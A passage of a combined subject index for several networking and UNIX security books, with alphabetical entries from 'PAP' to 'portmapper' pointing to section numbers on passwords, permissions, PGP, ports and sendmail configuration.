source-routed : Building Internet Firewalls, 5.8.2.5. Turning off routing
structure : Building Internet Firewalls, 6.3. What Does a Packet Look Like?
TCP : Building Internet Firewalls, 6.3.3.1. TCP
UDP : Building Internet Firewalls, 6.3.3.2. UDP
update : TCP/IP Network Administration, 7.4.1. Routing Information Protocol
packetsize : TCP/IP Network Administration, 11.3.1. The ping Command
PAP (Password Authentication Protocol)
TCP/IP Network Administration, 6.3.4. PPP Daemon Security
TCP/IP Network Administration, A.2. The PPP Daemon
pap-secrets file : TCP/IP Network Administration, 6.3.4. PPP Daemon Security
paper
backups on : Practical UNIX & Internet Security, 24.5.1. Never Trust Anything Except Hardcopy
copies : Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
logging on : Practical UNIX & Internet Security, 10.7. Handwritten Logs
throwing out : Practical UNIX & Internet Security, 12.3.3. Other Media
PAR (Positive Acknowledgment with Retransmission) : Building Internet Firewalls, C.6.2. Transmission Control Protocol
Parallel Line IP (PLIP) : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
parallel multipart subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
parent processes : Practical UNIX & Internet Security, C.2. Creating Processes
parentheses (), for continuation characters : TCP/IP Network Administration, C.3.1. Standard Resource Records
/parse rule-testing command
sendmail, 15.1. Test the Configuration File
sendmail, 38.5.5. Parse an Address with /parse
parsing addresses
sendmail, 15.1. Test the Configuration File
sendmail, 38.5.5. Parse an Address with /parse
(see also rule set 3)
partial message subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
partitions : Practical UNIX & Internet Security, 25.2.2.4. Using partitions to protect your users
backup by : Practical UNIX & Internet Security, 7.1.3. Types of Backups
root : (see root directory)
pass phrases for PGP
Practical UNIX & Internet Security, 6.6.3.1. Encrypting files with IDEA
(see also passwords)
passing data : (see data, communications model)
passive FTP
Building Internet Firewalls, 8.2.1.1. Packet filtering characteristics of
Practical UNIX & Internet Security, 17.3.2.2. Passive vs. active FTP
Practical UNIX & Internet Security, 17.3.2.3. FTP passive mode
passive option
in pppd : TCP/IP Network Administration, 6.3.5. PPP Server Configuration
in RIP
TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
TCP/IP Network Administration, 7.7.1.2. Interior gateway configurations
passwd command
Practical UNIX & Internet Security, 3.4. Changing Your Password
Practical UNIX & Internet Security, 8.6.2. What Is Salt?
as SUID program : Practical UNIX & Internet Security, 5.5. SUID
-l option
Practical UNIX & Internet Security, 8.4.1. Changing an Account's Password
Practical UNIX & Internet Security, 8.8.8. Disabling an Account by Changing Its Password
-n option : Practical UNIX & Internet Security, 8.8.6. Password Aging and Expiration
-x option : Practical UNIX & Internet Security, 8.8.6. Password Aging and Expiration
-f nomemory option : Practical UNIX & Internet Security, 3.5. Verifying Your New Password
using as superuser : Practical UNIX & Internet Security, 3.5. Verifying Your New Password
passwd command line : TCP/IP Network Administration, 12.2.1. The Shadow Password File
passwd file
Practical UNIX & Internet Security, 1.2. What Is an Operating System?
Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
Practical UNIX & Internet Security, 4.2.3. Impact of the /etc/passwd and /etc/group
Practical UNIX & Internet Security, 7.1.2. What Should You Back Up?
Practical UNIX & Internet Security, 8.1.1. Accounts Without Passwords
Practical UNIX & Internet Security, 8.6. The UNIX Encrypted Password System
Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
Practical UNIX & Internet Security, 24.4.1. New Accounts
Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
sendmail, 30.8. Alphabetized F= Flags
TCP/IP Network Administration, 6.3.2. Dial-Up PPP
TCP/IP Network Administration, 6.3.5. PPP Server Configuration
TCP/IP Network Administration, 6.4.3. SLIP Server Configuration
TCP/IP Network Administration, 9.1.5. NFS Authentication Server
TCP/IP Network Administration, 9.3. Network Information Service
TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
TCP/IP Network Administration, 12.2.1. The Shadow Password File
TCP/IP Network Administration, 13.2.1. Creating an FTP Server
+ in : (see NIS)
accounts without passwords : Practical UNIX & Internet Security, 8.1.1. Accounts Without Passwords
backing up : Practical UNIX & Internet Security, 7.1.2. What Should You Back Up?
gecos field : sendmail, 14.2.1. The Full-Name: Header
mail hubs and : sendmail, 6. The Mail Hub and Delivery Agents
new accounts : Practical UNIX & Internet Security, 24.4.1. New Accounts
NFS : Practical UNIX & Internet Security, 20.2.1.1. /etc/exports
protecting : TCP/IP Network Administration, 12.2. User Authentication
in security checks : TCP/IP Network Administration, 12.4.2. Looking for Trouble
trusted users and : sendmail, 14.6. Trusted User
user database class for : sendmail, 33.8. Alphabetized Reference
uucp user and : Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
Passwd table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
passwd+ package
Practical UNIX & Internet Security, 8.8.2. Constraining Passwords
Practical UNIX & Internet Security, 8.8.4. Password Generators
Password Authentication Protocol (PAP)
TCP/IP Network Administration, 6.3.4. PPP Daemon Security
TCP/IP Network Administration, A.2. The PPP Daemon
password file
Practical UNIX & Internet Security, 19.4.4.6. NIS is confused about "+"
(see also passwd file)
password modems : Practical UNIX & Internet Security, 14.6. Additional Security for Modems
password.adjunct file : Practical UNIX & Internet Security, 8.8.5. Shadow Password Files
passwords
Building Internet Firewalls, 10.2. What Is Authentication?
Building Internet Firewalls, 10.2.2. Something You Know
Practical UNIX & Internet Security, 3.2. Passwords
Practical UNIX & Internet Security, 3.6.1. Bad Passwords: Open Doors
Practical UNIX & Internet Security, 3.8. Summary
Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
Practical UNIX & Internet Security, 23.5. Tips on Using Passwords
TCP/IP Network Administration, 1.7. Application Layer
(see also authentication)
(see also shadow file)
accounts without : Practical UNIX & Internet Security, 8.1.1. Accounts Without Passwords
aging
Building Internet Firewalls, 12.1.2. Managing Your Accounts
TCP/IP Network Administration, 12.2.1. The Shadow Password File
assigning to users : Practical UNIX & Internet Security, 8.8.1. Assigning Passwords to Users
authentication based on
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
TCP/IP Network Administration, 7.7.1.2. Interior gateway configurations
TCP/IP Network Administration, 9.1.5. NFS Authentication Server
avoiding conventional
Practical UNIX & Internet Security, 8.8. Administrative Techniques for Conventional Passwords
Practical UNIX & Internet Security, 8.8.9. Account Names Revisited: Using Aliases for Increased
bad choices for
Practical UNIX & Internet Security, 3.6.1. Bad Passwords: Open Doors
Practical UNIX & Internet Security, 3.6.4. Passwords on Multiple Machines
checklist for : Practical UNIX & Internet Security, A.1.1.2. Chapter 3: Users and Passwords
choosing, generating
Practical UNIX & Internet Security, 8.8.4. Password Generators
TCP/IP Network Administration, 12.2.2. Choosing a Password
changing
Practical UNIX & Internet Security, 3.4. Changing Your Password
Practical UNIX & Internet Security, 3.5. Verifying Your New Password
Practical UNIX & Internet Security, 8.4.1. Changing an Account's Password
Practical UNIX & Internet Security, 8.8.8. Disabling an Account by Changing Its Password
TCP/IP Network Administration, 12.2. User Authentication
time-based : Building Internet Firewalls, 10.3.2. Time-based Passwords
tricks used to avoid changing : TCP/IP Network Administration, 12.2.1. The Shadow Password File
constraining : Practical UNIX & Internet Security, 8.8.2. Constraining Passwords
conventional : Practical UNIX & Internet Security, 3.2.6. Conventional UNIX Passwords
cracking, guessing, stealing
Practical UNIX & Internet Security, 3.6.1. Bad Passwords: Open Doors
Practical UNIX & Internet Security, 3.6.3. Good Passwords: Locked Doors
Practical UNIX & Internet Security, 3.6.4. Passwords on Multiple Machines
Practical UNIX & Internet Security, 8.6.1. The crypt()
Practical UNIX & Internet Security, 8.8.3. Cracking Your Own Passwords
Practical UNIX & Internet Security, 8.8.3.2. The dilemma of password crackers
Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
TCP/IP Network Administration, 12.2. User Authentication
logging failed attempts : Practical UNIX & Internet Security, 10.5.3. syslog Messages
sniffing
Building Internet Firewalls, 1.2.1.3. Information Theft
Building Internet Firewalls, 10.1.2. Packet Sniffing
Building Internet Firewalls, 10.3.1. One-Time Passwords
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
Practical UNIX & Internet Security, 3. Users and Passwords
Practical UNIX & Internet Security, 8.7. One-Time Passwords
Practical UNIX & Internet Security, 16.3. IP Security
Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
(see also eavesdropping)
(see also packet sniffing)
stealing with network taps : Building Internet Firewalls, 1.2.1.3. Information Theft
encrypting
Practical UNIX & Internet Security, 8.6. The UNIX Encrypted Password System
Practical UNIX & Internet Security, 8.6.4. Crypt16() and Other Algorithms
expiring : Practical UNIX & Internet Security, 8.8.6. Password Aging and Expiration
false authentication and : Building Internet Firewalls, 10.1.3. False Authentication
federal jurisdiction over : Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
FTP and : Practical UNIX & Internet Security, 17.3.2. (FTP) File Transfer Protocol (TCP Ports 20 and 21)
hit lists of : Practical UNIX & Internet Security, 3.6.1. Bad Passwords: Open Doors
Kerberos : Practical UNIX & Internet Security, 19.6.5. Kerberos Limitations
logging changes to : Practical UNIX & Internet Security, 10.7.2.1. Exception and activity reports
for MUDs : Practical UNIX & Internet Security, 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
on multiple machines
Practical UNIX & Internet Security, 3.6.4. Passwords on Multiple Machines
Practical UNIX & Internet Security, 3.6.5. Writing Down Passwords
over network connections : Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
with network services : Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
NIS, with Secure RPC : Practical UNIX & Internet Security, 19.3.2.1. Creating passwords for users
NIS+, changing : Practical UNIX & Internet Security, 19.5.4.1. Changing your password
one-time
Building Internet Firewalls, 10.3.1. One-Time Passwords
Practical UNIX & Internet Security, 8.7. One-Time Passwords
Practical UNIX & Internet Security, 8.7.3. Code Books
Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
TCP/IP Network Administration, Preface
TCP/IP Network Administration, 12.2.3. One-Time Passwords
password coach : Practical UNIX & Internet Security, 8.8.4. Password Generators
with POP : Practical UNIX & Internet Security, 17.3.10. Post Office Protocol (POP) (TCP Ports
required for Web use
Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
Practical UNIX & Internet Security, 18.3.3. Setting Up Web Users and Passwords
shadow
Practical UNIX & Internet Security, 8.4.1. Changing an Account's Password
Practical UNIX & Internet Security, 8.8.5. Shadow Password Files
system clock and : Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
token cards with : Practical UNIX & Internet Security, 8.7.2. Token Cards
usernames as : Practical UNIX & Internet Security, 8.8.3.1. Joetest: a simple password cracker
UUCP accounts : Practical UNIX & Internet Security, 15.3.2. Establishing UUCP Passwords
verifying new : Practical UNIX & Internet Security, 3.5. Verifying Your New Password
wizard's (sendmail) : Practical UNIX & Internet Security, 17.3.4.1. sendmail and security
writing down
Practical UNIX & Internet Security, 3.6.5. Writing Down Passwords
TCP/IP Network Administration, 12.2.4. OPIE
patches
Building Internet Firewalls, 12.3.2. Keeping Your Systems Up To Date
Practical UNIX & Internet Security, 10.7.2.2. Informational material
patents
Practical UNIX & Internet Security, 6.7.1. Cryptography and the U.S. Patent System
Practical UNIX & Internet Security, 26.4.4. Patent Concerns
paths : Practical UNIX & Internet Security, 5.1.3. Current Directory and Paths
delivery agent : sendmail, 30.4. The Equates
to execution directories : sendmail, 30.4. The Equates
for .forward file : sendmail, 22.8.3.2. The ForwardPath option
return, per RFC821 : sendmail, 30.8. Alphabetized F= Flags
trusted : Practical UNIX & Internet Security, 8.5.3.1. Trusted path
path MTU discovery code : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
PATH variable
Practical UNIX & Internet Security, 8.1.4.1. Restricted shells under System V UNIX
Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
attacks via : Practical UNIX & Internet Security, 11.5.1.1. PATH attacks
path vector protocols : TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
PATH... macros : sendmail, 18.8. Alphabetized Reference
pathname
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
sendmail, 12.2. The File Form of Class
mail delivery program
sendmail, 6.2. Define a Mail Delivery Agent
sendmail, 6.3. The local Delivery Agent
sendmail, 22.4.4. The P= of Delivery Agents
UUCP and : sendmail, 8.1.4. UUCP and Host Paths
pattern matching
TCP/IP Network Administration, 10.6.1. Pattern Matching
(see $ operators; wildcard operators)
symbols for : TCP/IP Network Administration, 10.5.3. The Define Class Command
pax program : Practical UNIX & Internet Security, 7.4.2. Simple Archives
PC NFS Authentication and Print Server (pcnfsd) : TCP/IP Network Administration, 9.1.5. NFS Authentication Server
pcbind service : Building Internet Firewalls, 5.8.2.4. Which services should you disable?
PCERT (Purdue University) : Practical UNIX & Internet Security, F.3.4.30. Purdue University
PCI bus : TCP/IP Network Administration, 5.3.1.3. Devices
PCM audio subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
pcnfsd.conf file : TCP/IP Network Administration, 9.1.5.1. NFS print services
PCs
viruses on : Practical UNIX & Internet Security, 11.1.5. Viruses
web server on : Practical UNIX & Internet Security, 18.2. Running a Secure Server
${pd} macro : sendmail, D.1. Sun Enhancements
PDP-11 processors
Practical UNIX & Internet Security, 1.3. History of UNIX
Practical UNIX & Internet Security, 8.6.1. The crypt()
PDUs (Protocol Data Units) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
peer
TCP/IP Network Administration, 3. Network Services
TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
TCP/IP Network Administration, B.5. Options Statements
clauses : TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
level communications : TCP/IP Network Administration, 1.2. A Data Communications Model
subclauses : TCP/IP Network Administration, B.8.5. The bgp Statement
Penn State response team : Practical UNIX & Internet Security, F.3.4.29. Pennsylvania State University
per-machine logs : Practical UNIX & Internet Security, 10.7.2. Per-Machine Logs
per-site logs : Practical UNIX & Internet Security, 10.7.1. Per-Site Logs
percent (%) in addresses
sendmail, 17.1.5. The % Hack
sendmail, 21.5.1. Offsite MX Hosts
performance
analyzing : Practical UNIX & Internet Security, 18.4. Avoiding the Risks of Eavesdropping
compromised
Practical UNIX & Internet Security, 25.2.1. Process-Overload Problems
Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
high-load queuing and : sendmail, 34.8. Alphabetized Reference
:include: lists and : sendmail, 25.2.2. Tradeoffs
incoming SMTP connection rate : sendmail, 34.8. Alphabetized Reference
load average
sendmail, 18.8. Alphabetized Reference
sendmail, 23.4. Printing the Queue
load balancing
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
TCP/IP Network Administration, 11.4.4. Subdividing an Ethernet
load shedding : Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
mail hubs and : sendmail, 6. The Mail Hub and Delivery Agents
with multiple interior routers : Building Internet Firewalls, 4.3.5. It's Dangerous to Use Multiple
MX records pointing to CNAMEs : sendmail, 21.3.2. MX to CNAME Causes Extra Lookups
of packet filter : Building Internet Firewalls, 6.8.1. It Should Have Good Enough
refusing connections on high load : sendmail, 34.8. Alphabetized Reference
reviews : Practical UNIX & Internet Security, 13.2.3. Performance Reviews and Monitoring
with Secure RPC : Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
sendmail options for : sendmail, 34.6.4. Controlling Machine Load
using FFS : Practical UNIX & Internet Security, 25.2.2.6. Reserved space
perimeter networks
Building Internet Firewalls, 4.1. Some Firewall Definitions
Building Internet Firewalls, 4.2.3.1. Perimeter network
Practical UNIX & Internet Security, 12.1.1. The Physical Security Plan
TCP/IP Network Administration, 12.7. Firewalls
multiple : Building Internet Firewalls, 4.3.7. It's OK to Have Multiple Perimeter
shared : Building Internet Firewalls, 4.4.5. A Shared Perimeter Network Allows
period (.)
. line (qf file) : sendmail, 23.9. The qf File Internals
checking for in ${pd} : sendmail, D.1. Sun Enhancements
for current directory : Practical UNIX & Internet Security, 5.1.1. Directories
to end messages
sendmail, 4.2. Verbose (-v)
sendmail, 30.8. Alphabetized F= Flags
filenames starting with, disabling creation of : Building Internet Firewalls, 8.2.1.6. Be careful of writable
host status file line : sendmail, B.1. Status file lines
leading in messages : sendmail, 34.8. Alphabetized Reference
trailing in FQDNs
sendmail, 15.3. MX Records
sendmail, 17.4. Rule Set 4
sendmail, 29.5.1. Stripping Trailing Dots
.. directory : Practical UNIX & Internet Security, 5.1.1. Directories
.. for domain name : TCP/IP Network Administration, C.3.1. Standard Resource Records
Perl programming language
Practical UNIX & Internet Security, 5.5.3. SUID Shell Scripts
Practical UNIX & Internet Security, 11.1.4. Trojan Horses
Practical UNIX & Internet Security, 11.5.1.2. IFS attacks
perl -T command
Practical UNIX & Internet Security, 18.2.3.4. Tainting with Perl
Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
random seed generator : Practical UNIX & Internet Security, 23.9. A Good Random Seed
script for reading lastlog file : Practical UNIX & Internet Security, 10.1.1. lastlog File
Swatch program
Practical UNIX & Internet Security, 10.6. Swatch: A Log File Tool
Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
Practical UNIX & Internet Security, E.4.9. Swatch
tainting facility : Practical UNIX & Internet Security, 18.2.3.4. Tainting with Perl
permissions
Practical UNIX & Internet Security, 1.1. What Is Computer Security?
Practical UNIX & Internet Security, 5.1.6. Understanding File Permissions
Practical UNIX & Internet Security, 5.2.4. Using Octal File Permissions
Practical UNIX & Internet Security, 11.1.5. Viruses
Practical UNIX & Internet Security, 11.6.1. File Protections
Practical UNIX & Internet Security, 11.6.1.3. World-readable backup devices
sendmail, 13.2.4. The Default File Permissions
sendmail, 22.5. Permissions
access control lists (ACLs)
Practical UNIX & Internet Security, 5.2.5. Access Control Lists
Practical UNIX & Internet Security, 5.2.5.2. HP-UX access control lists
changing
Practical UNIX & Internet Security, 5.2.1. chmod: Changing a File's Permissions
Practical UNIX & Internet Security, 5.2.4. Using Octal File Permissions
directory : Practical UNIX & Internet Security, 5.4. Using Directory Permissions
directory for safe writes : sendmail, 34.8. Alphabetized Reference
/etc/utmp file : Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
.forward file and : sendmail, 22.5.3. Permissions for ~/.forward Files
group : sendmail, 34.8. Alphabetized Reference
intruder's modifications to : Practical UNIX & Internet Security, 24.4.1.2. Changes in file and directory protections
modem devices : Practical UNIX & Internet Security, 14.5.2. Setting Up the UNIX Device
modem files : Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
of NIS+ objects : Practical UNIX & Internet Security, 19.5.5. NIS+ Limitations
NO_GROUP_SET macro : sendmail, 18.8. Alphabetized Reference
octal
Practical UNIX & Internet Security, 5.2.3. Calculating Octal File Permissions
Practical UNIX & Internet Security, 5.2.4. Using Octal File Permissions
qf file : sendmail, 23.3.2. Bad qf Owner or Permissions
queue directory : sendmail, 23.1. Overview of the Queue
of .rhosts file : Practical UNIX & Internet Security, 17.3.18.4. The ~/.rhosts file
root user
sendmail, Other Books, Other Problems
sendmail, 14.6. Trusted User
sendmail, 22.1. Why root?
safe options : sendmail, 34.1.4. Options that Are Safe
SUID programs
Practical UNIX & Internet Security, 5.5. SUID
Practical UNIX & Internet Security, 5.5.7. SGID Bit on Files (System V UNIX Only)
symbolic links and : Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
temporary files
sendmail, 22.8.3.7. The TempFileMode option
sendmail, 34.8. Alphabetized Reference
umasks
Practical UNIX & Internet Security, 5.3. The umask
Practical UNIX & Internet Security, 5.3.2. Common umask Values
UUCP : Practical UNIX & Internet Security, 15.4.1.4. Special permissions
Permissions file
Practical UNIX & Internet Security, 15.5. Security in BNU UUCP
Practical UNIX & Internet Security, 15.5.1. Permissions File
Practical UNIX & Internet Security, 15.5.3. uucheck: Checking Your Permissions File
persistent host-status : sendmail, 36.7. Alphabetized Reference
personal mail forwarding : TCP/IP Network Administration, 10.3.1. Personal mail forwarding
personnel : (see employees)
PGP (Pretty Good Privacy)
Practical UNIX & Internet Security, 6.6.3. PGP: Pretty Good Privacy
Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
TCP/IP Network Administration, 12.6.1. When is symmetric encryption useful?
-eat and -seat options : Practical UNIX & Internet Security, 6.6.3.3. Encrypting a message
encrypting message with : Practical UNIX & Internet Security, 6.6.3.3. Encrypting a message
encrypting Web documents : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
-ka option : Practical UNIX & Internet Security, 6.6.3.2. Creating your PGP public key
-kg option : Practical UNIX & Internet Security, 6.6.3.2. Creating your PGP public key
-kvc option : Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
-kxaf option : Practical UNIX & Internet Security, 6.6.3.2. Creating your PGP public key
-o option : Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
-sat option : Practical UNIX & Internet Security, 6.6.3.4. Adding a digital signature to an announcement
-sb option : Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
software signature : Practical UNIX & Internet Security, E.4. Software Resources
ph (phonebook) server : Practical UNIX & Internet Security, 17.3.8.3. Replacing finger
phantom mail : Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
Physical Layer
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
physical network
TCP/IP Network Administration, 1.5.1.2. Routing datagrams
TCP/IP Network Administration, 2.3. Subnets
TCP/IP Network Administration, 2.6. Address Resolution
TCP/IP Network Administration, 3.5.1. Reverse Address Resolution Protocol
address, embedded in response : TCP/IP Network Administration, 3.6. Bootstrap Protocol
independence from
TCP/IP Network Administration, 1.1.1. TCP/IP Features
TCP/IP Network Administration, 6. Configuring the Interface
physical security
Practical UNIX & Internet Security, 12. Physical Security
Practical UNIX & Internet Security, 12.4.2. "Nothing to Lose?"
TCP/IP Network Administration, 12.1.1. Assessing the Threat
access control : Practical UNIX & Internet Security, 12.2.3. Physical Access
of backups
Practical UNIX & Internet Security, 7.1.6. Security for Backups
Practical UNIX & Internet Security, 7.1.6.3. Data security for backups
checklist for : Practical UNIX & Internet Security, A.1.1.11. Chapter 12: Physical Security
modems
Practical UNIX & Internet Security, 14.5.4. Physical Protection of Modems
Practical UNIX & Internet Security, 14.6. Additional Security for Modems
read-only filesystems : Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
signal grounding : Practical UNIX & Internet Security, 25.3.3. Signal Grounding
physical serial ports : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
PICKY... macros : sendmail, 18.8. Alphabetized Reference
PICKY_QF_NAME_CHECK variable
sendmail, 18.8. Alphabetized Reference
sendmail, 23.3.1. Badly Formed qf Filename
PIDs (process identifiers)
Practical UNIX & Internet Security, C.1.3.1. PIDs (process IDs)Process identification
Practical UNIX & Internet Security, C.1.3.4. Process groups and sessions
sendmail, 23.2.1. The Queue Identifier
including with logs : sendmail, 26.1.1. syslog(3)
for sendmail : (see $p macro)
Pieprzyk, Josef : Practical UNIX & Internet Security, 6.5.4.3. HAVAL
ping command
Building Internet Firewalls, 2.10. Network Management Services
Building Internet Firewalls, 5.6. Selecting Services Provided by the
Building Internet Firewalls, 8.12.3. ping
TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
TCP/IP Network Administration, 7.2. The Minimal Routing Table
statistics displayed by
TCP/IP Network Administration, 11.3.1. The ping Command
TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
in troubleshooting : TCP/IP Network Administration, 11.3. Testing Basic Connectivity
PingWare program : Practical UNIX & Internet Security, 17.6.3. PingWare
pipe (in Swatch program) : Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
pipe character (|) separating multiple printer names : TCP/IP Network Administration, 9.2.1. The printcap File
pipes
Practical UNIX & Internet Security, 18.2.3.2. Testing is not enough!
Practical UNIX & Internet Security, 18.2.3.3. Sending mail
(see also programs, delivering to)
pipes (for smoking) : Practical UNIX & Internet Security, 12.2.1.2. Smoke
piracy of software
Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
Practical UNIX & Internet Security, 26.4.2.1. Software piracy and the SPA
(see also software)
plain text subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
plaintext attacks : Practical UNIX & Internet Security, 6.2.3. Cryptographic Strength
.plan file : Practical UNIX & Internet Security, 17.3.8.1. The .plan and .project files
planning sheets : TCP/IP Network Administration, 4.6.1. Sample Planning Sheets
platforms : (see operating systems)
play accounts : (see open accounts)
playback attacks : Practical UNIX & Internet Security, 19.6.1.2. Using the ticket granting ticket
PLIP (Parallel Line IP) : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
plug-gw proxy : Building Internet Firewalls, 7.7.3. Generic Proxying with TIS
plumb/unplumb parameters : TCP/IP Network Administration, 6.1.5.5. Point-to-point
plus sign (+)
in configuration file : sendmail, 1.3.1. The Configuration File
indicating a trusted host : TCP/IP Network Administration, 12.2.5. Secure the r Commands
in hosts.equiv file : Practical UNIX & Internet Security, 17.3.18.5. Searching for .rhosts files
marking users with : sendmail, 24.4.3. Plussed Users
in NIS
Practical UNIX & Internet Security, 19.4. Sun's Network Information Service (NIS)
Practical UNIX & Internet Security, 19.4.4.6. NIS is confused about "+"
plussed users : sendmail, 24.4.3. Plussed Users
point-to-point interfaces
TCP/IP Network Administration, 6.1.5.5. Point-to-point
TCP/IP Network Administration, B.6. Interface Statements
defined : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
Point-to-Point Protocol : (see PPP)
pointers : TCP/IP Network Administration, 3.3.2. Creating Domains and Subdomains
poison reverse feature : TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
policy, security
Practical UNIX & Internet Security, 1.2. What Is an Operating System?
Practical UNIX & Internet Security, 2. Policies and Guidelines
Practical UNIX & Internet Security, 2.5.3. Final Words: Risk Management Means Common Sense
Practical UNIX & Internet Security, A.1.1.1. Chapter 2: Policies and Guidelines
(see security, policies of)
cost-benefit analysis
Practical UNIX & Internet Security, 2.3. Cost-Benefit Analysis
Practical UNIX & Internet Security, 2.3.4. Convincing Management
risk assessment
Practical UNIX & Internet Security, 2.2. Risk Assessment
Practical UNIX & Internet Security, 2.2.2. Review Your Risks
Practical UNIX & Internet Security, 2.5.3. Final Words: Risk Management Means Common Sense
role of
Practical UNIX & Internet Security, 2.4.1. The Role of Policy
Practical UNIX & Internet Security, 2.4.4. Some Key Ideas in Developing a Workable Policy
Practical UNIX & Internet Security, 2.4.4.7. Defend in depth
policy-based routing : TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
database : TCP/IP Network Administration, 2.4. Internet Routing Architecture
politics : Practical UNIX & Internet Security, 11.3. Authors
polling
TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
TCP/IP Network Administration, 11.9. Simple Network Management Protocol
trap-directed : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
polyalphabetic ciphers : Practical UNIX & Internet Security, 6.3. The Enigma Encryption System
polygraph tests : Practical UNIX & Internet Security, 13.1. Background Checks
POP (Post Office Protocol)
Building Internet Firewalls, 8.1.2. Post Office Protocol
Practical UNIX & Internet Security, 17.3.10. Post Office Protocol (POP) (TCP Ports
TCP/IP Network Administration, 3.4.2. Post Office Protocol
TCP/IP Network Administration, 4.5.3. Planning Your Mail System
commands, listed : TCP/IP Network Administration, 3.4.2. Post Office Protocol
mail server : TCP/IP Network Administration, 9.7.1. POP Server
multiple services : Building Internet Firewalls, 8.1.2.2. Proxying characteristics of
pop3d.tar : TCP/IP Network Administration, 9.7.1. POP Server
popen command
Practical UNIX & Internet Security, 18.2.3.2. Testing is not enough!
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
sendmail, 18.8. Alphabetized Reference
popper17.tar : TCP/IP Network Administration, 9.7.1. POP Server
pornography : Practical UNIX & Internet Security, 26.4.5. Pornography and Indecent Material
ports
Practical UNIX & Internet Security, 16.2.4.2. TCP
Practical UNIX & Internet Security, 17.1.1. The /etc/services File
Practical UNIX & Internet Security, G. Table of IP Services
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 2.7.3. Sockets
numbers
Building Internet Firewalls, C.12.2. Port Numbers
Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
Practical UNIX & Internet Security, G. Table of IP Services
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
TCP/IP Network Administration, 2.7. Protocols, Ports, and Sockets
TCP/IP Network Administration, 2.7.2. Port Numbers
passing : TCP/IP Network Administration, 2.7.3. Sockets
randomly generated : TCP/IP Network Administration, 3.6. Bootstrap Protocol
reserved TCP : sendmail, 30.8. Alphabetized F= Flags
source, filtering by : Building Internet Firewalls, 6.7.4. Risks of Filtering by Source
trusted : (see trusted ports)
well-known : Building Internet Firewalls, C.12.3. Sockets
PORT directory (db distribution) : sendmail, C.2. Get the Source
portable computers : Practical UNIX & Internet Security, 12.2.6.3. Portables
portable I/O library : Practical UNIX & Internet Security, 1.3. History of UNIX
portmap service
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
Building Internet Firewalls, B.5.3. portmap
Practical UNIX & Internet Security, 19.2.1. Sun's portmap/rpcbind
Practical UNIX & Internet Security, 19.4.4.4. Spoofing RPC
Practical UNIX & Internet Security, E.4.6. portmap
portmapper
Building Internet Firewalls, 6.3.3.4. RPC
